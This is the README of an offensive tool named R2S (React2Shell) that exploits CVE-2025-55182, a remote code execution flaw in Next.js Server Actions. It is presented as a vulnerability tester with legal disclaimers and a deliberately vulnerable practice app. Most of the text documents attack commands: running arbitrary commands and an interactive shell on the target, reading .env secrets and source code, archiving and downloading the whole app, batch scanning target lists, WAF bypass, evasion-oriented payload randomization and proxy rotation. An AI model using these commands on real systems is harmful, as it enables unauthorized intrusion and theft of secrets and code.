
Advanced security testing tool for CVE-2025-55182 vulnerability assessment in Next.js applications. Features interactive shell, batch scanning, WAF bypass, and comprehensive reporting.
Advanced exploitation testing tool for CVE-2025-55182 vulnerability assessment
Features • Installation • Usage • Testing Environment • Legal
R2S (React2Shell) is a security testing tool designed to help security researchers, developers, and penetration testers assess whether their Next.js applications are vulnerable to CVE-2025-55182.
CVE-2025-55182 is a critical vulnerability affecting Next.js Server Actions in certain versions (e.g., 16.0.5). This vulnerability allows attackers to execute arbitrary commands on the server through improperly secured Server Actions, leading to Remote Code Execution (RCE).
R2S helps you check if your application has this problem so you can fix it before bad actors find it.
--windows)⚠️ CRITICAL WARNING: The --windows flag can cause the tool to FAIL to determine vulnerability if used incorrectly.
--windows: Only if you're 100% certain the target server is Windows--windows on a Linux server, commands will fail and the tool may report "not vulnerable" even if the server is vulnerable--windows unless you know the target is WindowsExample:
# ❌ WRONG - Using --windows on a Linux server
r2s -u http://linux-server.com -t --windows
# Result: Commands fail, tool may report "not vulnerable" (FALSE NEGATIVE)
# ✅ CORRECT - Let tool use default Unix/Linux commands
r2s -u http://linux-server.com -t
# Result: Proper detection of vulnerability
IMPORTANT: READ THIS BEFORE USING THIS TOOL
This tool is for LEGITIMATE security testing ONLY
By using this tool, you agree that:
Legal Consequences:
This tool is provided "AS IS" without warranty of any kind
If you're under 18, make sure you have adult supervision and permission before using this tool.
~/.r2s/reports/ with human-readable timestamps~/.r2s/history~/.r2s/logs/audit.logClone the repository:
git clone https://github.com/zamdevio/r2s.git
cd r2s
Install dependencies:
pip install -r requirements.txt
Build the standalone binary:
./build.sh
Install to system (optional):
sudo cp dist/r2s /usr/local/bin/
sudo chmod +x /usr/local/bin/r2s
Clean build artifacts (optional):
# Remove build/, dist/, __pycache__/, and other build files
./build.sh cleanup
# Install dependencies
pip install -r requirements.txt
# Run directly
python3 -m react2shell.main --help
# Or after building:
r2s --help
# Test if a server is vulnerable
r2s -u http://localhost:3000 -t
# With verbose output for more details
r2s -u http://localhost:3000 -t -v
⚠️ Important: Don't use --windows unless you're certain the target is Windows. Using --windows on a Linux server will cause false negatives (tool may report "not vulnerable" even if the server is vulnerable).
We provide a safe testing environment at https://r2s-arena.fly.dev:
# Test the online demo
r2s -u https://r2s-arena.fly.dev -t
See nextjs/README.md for instructions on running the vulnerable app locally.
Most Common Commands:
r2s -u URL -t - Test for vulnerability (most common)r2s -u URL --shell - Start interactive shellr2s --targets FILE -t - Batch scan multiple targetsr2s -u URL --system-info - Get system informationr2s -u URL --secrets - Attempt to read secretsr2s -u URL --export-archive - Export entire app as zip⚠️ Remember: Don't use --windows unless target is Windows!
# Test vulnerability
r2s -u http://localhost:3000 -t
# List directory contents
r2s -u http://localhost:3000 --list-dir /app
# Read files
r2s -u http://localhost:3000 --read-file .env
r2s -u http://localhost:3000 --read-file package.json
# Get system information
r2s -u http://localhost:3000 --system-info
# Execute custom commands
r2s -u http://localhost:3000 --command "whoami"
r2s -u http://localhost:3000 --command "uname -a"
# Start interactive shell session
r2s -u http://localhost:3000 --shell
# Features:
# - Arrow keys for command history (↑/↓)
# - Arrow keys for cursor movement (←/→)
# - Command aliases: nano/vi/vim/emacs → cat, clear → cls
# - Colored file/folder output in ls
# - Persistent history saved to ~/.r2s/history
# - Auto-save shell session reports
# List available modules
r2s --list-modules
# Use a module
r2s -u http://localhost:3000 --module env_dump
# Use module with options
r2s -u http://localhost:3000 --module file_search --set pattern="*.env" --set path="/app"
# Get module information
r2s --module-info env_dump
# Export a single file
r2s -u http://localhost:3000 --export src/app/page.tsx
# Saved to: ~/.r2s/exports/{domain}/src/app/page.tsx
# Export entire app directory as zip archive
r2s -u http://localhost:3000 --export-archive
#
# What it does:
# - Creates a zip archive of the entire app directory on the server
# - Automatically excludes files matching .gitignore patterns
# - Downloads the archive to your local machine
# - Automatically deletes the archive from the server after download
# - Saved to: ~/.r2s/exports/{domain}/r2s_export_TIMESTAMP.zip
#
# Note: This operation may take a while for large applications
# Configure export directory
r2s settings
# Navigate to "export" section and set "export_dir"
# Attempt to read application secrets
r2s -u http://localhost:3000 --secrets
# Tries: .env, .env.local, .env.production, config.json, etc.
# Attempt to read application source code
r2s -u http://localhost:3000 --code
# Tries: src/**/*.ts, src/**/*.tsx, src/**/*.js, etc.
# Scan multiple targets from file (one URL per line)
r2s --targets targets.txt -t
# Batch mode: no interactive prompts, auto-continue
r2s --targets targets.txt --batch -t
# Scan with rate limiting (2 requests per second)
r2s --targets targets.txt -t --rate 2
# Add delay between targets (1 second)
r2s --targets targets.txt -t --delay 1
# Combine options for safe batch scanning
r2s --targets targets.txt --batch -t --rate 1 --delay 2
# Parallel execution (run multiple commands simultaneously)
r2s -u http://localhost:3000 --parallel 5 --command "whoami;id;uname -a"
# WAF bypass (⚠️ Not guaranteed - see limitations below)
r2s -u http://localhost:3000 -t --waf-bypass
# Auto-warm payloads (optimize payloads before execution)
r2s -u http://localhost:3000 -t --auto-warm
# Randomize payloads (evade static detection)
r2s -u http://localhost:3000 --command "whoami" --randomize
# Different header strategies
r2s -u http://localhost:3000 -t --header-strategy chrome_latest
# Options: default, chrome_latest, firefox, minimal, assetnote
# Custom timeout (0 = no timeout)
r2s -u http://localhost:3000 --command "long-running-command" --timeout 0
# Disable SSL verification
r2s -u https://target.com -t --insecure
# Rate limiting (requests per second)
r2s -u http://localhost:3000 -t --rate 2
# Delay between requests (seconds)
r2s -u http://localhost:3000 --command "whoami" --delay 1
# Use HTTP proxy
r2s -u http://localhost:3000 -t --proxy http://proxy.example.com:8080
# Use proxy with authentication
r2s -u http://localhost:3000 -t --proxy http://user:[email protected]:8080
# Load and rotate proxies from file (one proxy per line)
r2s -u http://localhost:3000 -t --proxy-file proxies.txt
# Rate limiting with proxy rotation
r2s --targets targets.txt -t --proxy-file proxies.txt --rate 1
# Log all operations to specific file
r2s -u http://localhost:3000 -t --log r2s_session.log
# Create detailed audit trail (saved to ~/.r2s/logs/audit.log)
r2s -u http://localhost:3000 -t --audit
# Combine logging with batch scanning
r2s --targets targets.txt --batch -t --log batch_scan.log --audit
# Open interactive settings panel
r2s settings
# Configure:
# - Report formats (JSON, HTML, TXT per operation)
# - Auto-save reports (on/off)
# - Export directory
# - Default timeouts
# - And more...
# Clean up all tool data
r2s cleanup
# Removes: config, history, logs, reports, exports
# Uninstall the tool (standalone binaries only)
r2s uninstall
# Reports are auto-saved to ~/.r2s/reports/ by default
# Format: {operation}_{YYYYMMDD_HHMMSS}.{json,html,txt}
# Disable auto-save
r2s -u http://localhost:3000 -t --no-report
# Save to specific location (disables auto-save)
r2s -u http://localhost:3000 -t --output /path/to/report.json
# View reports
ls ~/.r2s/reports/
cat ~/.r2s/reports/test_20251206_120000.html
# Start your Next.js app
cd my-nextjs-app
npm run dev
# In another terminal, test it
r2s -u http://localhost:3000 -t
# Comprehensive security check
r2s -u http://localhost:3000 -t --waf-bypass
r2s -u http://localhost:3000 --system-info
r2s -u http://localhost:3000 --secrets
r2s -u http://localhost:3000 --code
r2s -u http://localhost:3000 --export-archive
Use the provided nextjs application for safe, local testing:
cd nextjs
npm install
npm run dev
# Test in another terminal
r2s -u http://localhost:3000 -t
See nextjs/README.md for detailed instructions.
R2S uses a modular architecture for maintainability and extensibility:
react2shell/
├── main.py # Main entry point
├── classes/ # Core classes
│ ├── detector.py # Target detection
│ ├── executor.py # Command execution
│ ├── modules.py # Exploit modules system
│ ├── operations.py # High-level operations
│ ├── payload.py # Payload building and randomization
│ └── shell.py # Interactive shell
├── services/ # Services
│ ├── config.py # Configuration management (JSON)
│ ├── exporter.py # File and archive export
│ ├── formatters.py # Report formatters
│ ├── history.py # Command history
│ ├── logger.py # Logging and audit trails
│ ├── proxy.py # Proxy management
│ └── reporter.py # Report generation
└── utils/ # Utilities
├── colors.py # Color utilities
└── helpers.py # Helper functions
See react2shell/README.md for detailed architecture documentation.
We provide a safe testing environment called nextjs that you can use to test the tool without risking real systems.
Visit: https://r2s-arena.fly.dev
This is a publicly available, intentionally vulnerable application for testing purposes only.
See nextjs/README.md for instructions on running it locally.
⚠️ Important: The nextjs application is intentionally vulnerable and should NEVER be used in production or with real data.
| Command | Description |
|---|---|
--export FILE, --ex FILE | Export a single file from target (saved to ~/.r2s/exports/{domain}/) |
--export-archive | Export entire app directory as zip archive. Creates zip on server, downloads it, then deletes from server. Excludes .gitignore patterns. Saved to ~/.r2s/exports/{domain}/r2s_export_TIMESTAMP.zip |
| Command | Description |
|---|---|
--module NAME | Execute exploit module |
--module-list, --list-modules | List available modules |
| Option | Description |
|---|---|
--output FILE, -o FILE | Save results to specific file (disables auto-save) |
| Option | Description |
|---|---|
--targets FILE | Scan multiple targets from file (one URL per line, supports comments with #) |
--batch | Batch mode: skip all interactive prompts, auto-continue (useful for automation/scripts) |
| Command | Description |
|---|---|
r2s settings | Open interactive settings panel |
r2s cleanup | Delete all R2S data (config, history, logs, reports, exports) |
# Use --insecure flag to bypass SSL verification
r2s -u https://target.com -t --insecure
--timeout 30# Try WAF bypass (⚠️ Not guaranteed - see WAF Bypass Limitations below)
r2s -u https://target.com -t --waf-bypass
# Try different header strategies
r2s -u https://target.com -t --header-strategy chrome_latest
r2s -u https://target.com -t --header-strategy firefox
⚠️ IMPORTANT: Windows Commands Flag
If you're getting false negatives (tool says "not vulnerable" but target actually is), check:
Did you use --windows flag?
--windows flag makes the tool use Windows commands (PowerShell, dir, etc.)--windows will cause the tool to FAIL--windows flag (Unix/Linux is the default)Platform Detection
--windows if you're 100% certain the target is WindowsTest Command
echo $((41*271))--windows, it uses: powershell -c "41*271"Example of the problem:
# ❌ WRONG - This will fail if target is Linux
r2s -u http://linux-server.com -t --windows
# ✅ CORRECT - Let tool auto-detect or use default (Unix/Linux)
r2s -u http://linux-server.com -t
⚠️ Important: The WAF bypass techniques in this tool are NOT guaranteed to work and have several limitations:
Best Practices:
--header-strategy)--randomize for better results# Make sure Python 3.7+ is installed
python3 --version
# Install dependencies
pip install -r requirements.txt
# Clean previous build artifacts
./build.sh cleanup
# Try building again
./build.sh
To safely remove all build artifacts (build directories, cache files, etc.):
./build.sh cleanup
This will remove:
build/ directory (PyInstaller build files)dist/ directory (compiled binaries)__pycache__/ directories (Python cache, recursively)*.pyc files (compiled Python bytecode)*.pyo files (optimized Python bytecode)*.spec files (PyInstaller spec files)Note: This only removes build artifacts, not your source code. The cleanup is safe and will ask for confirmation before proceeding.
r2s/
├── README.md # This file
├── LICENSE # MIT License
├── requirements.txt # Python dependencies
├── build.sh # Build script for standalone binary
├── r2s_entry.py # PyInstaller entry point
├── react2shell/ # Main package
│ ├── README.md # Architecture documentation
│ ├── main.py # Entry point
│ ├── classes/ # Core classes
│ ├── services/ # Services
│ └── utils/ # Utilities
└── nextjs/ # Testing environment
└── README.md # Testing environment documentation
Contributions are welcome! Please:
Remember: Only contribute code that helps with legitimate security testing.
This project is licensed under the MIT License - see the LICENSE file for details.
However, the use of this tool is subject to the legal disclaimer above. Using this tool for unauthorized access is illegal and not covered by this license.
zamdevio
This tool is for security testing and educational purposes ONLY.
Stay legal, stay ethical, stay safe! 🛡️
Made with ❤️ for the security community
| Command | Description |
|---|
-u, --url URL | Target URL (required for most operations) |
-t, --test | Test if server is vulnerable |
-ld, --list-dir PATH | List directory contents |
-rf, --read-file FILE | Read file contents |
-si, --system-info | Get system information |
-sr, --secrets | Attempt to read secrets |
-c, --code | Attempt to read source code |
-cmd, --command CMD | Execute custom command |
--shell | Start interactive shell |
--module-info NAME | Show module information |
--set KEY=VALUE | Set module option |
| Option | Description |
|---|
--waf-bypass | Try WAF bypass techniques (⚠️ Not guaranteed - see limitations below) |
--waf-bypass-size KB | WAF bypass junk data size in KB (default: 128) |
--vercel-waf-bypass | Enable Vercel-specific WAF bypass techniques |
--header-strategy STRATEGY | HTTP header strategy: default, chrome_latest, firefox, minimal, assetnote |
--parallel N | Execute N commands in parallel (useful for multiple commands) |
--auto-warm | Automatically warm and optimize payloads before execution |
--randomize | Randomize payloads to evade static detection |
--no-follow-redirects | Don't automatically follow HTTP redirects (301, 302, etc.) |
-k, --insecure | Disable SSL certificate verification (use with caution) |
--timeout SECONDS | Request timeout in seconds (default: 10, use 0 for no timeout) |
--windows | ⚠️ WARNING: Use Windows commands instead of Unix/Linux. This can cause the tool to FAIL to determine vulnerability if the target is actually Unix/Linux. Only use this if you're certain the target is Windows. |
--rate RATE | Limit requests to RATE requests per second (useful for batch scanning) |
--delay SECONDS | Add delay between requests in seconds (helps avoid rate limiting) |
--batch | Batch mode: skip all interactive prompts, auto-continue (useful for automation) |
--no-report | Disable automatic report saving to ~/.r2s/reports/ |
--log FILE | Log all operations to specified file (detailed operation log) |
--audit | Create detailed audit trail (saved to ~/.r2s/logs/audit.log) |
| Option | Description |
|---|
--proxy URL | Use HTTP proxy (format: http://proxy:port or http://user:pass@proxy:port) |
--proxy-file FILE | Load and rotate proxies from file (one proxy per line, format: http://proxy:port) |
--rate RATE | Limit requests to RATE requests per second (prevents overwhelming target) |
--delay SECONDS | Add delay between requests in seconds (helps avoid rate limiting) |
r2s uninstall | Uninstall R2S binary and all data |
r2s help | Show help message |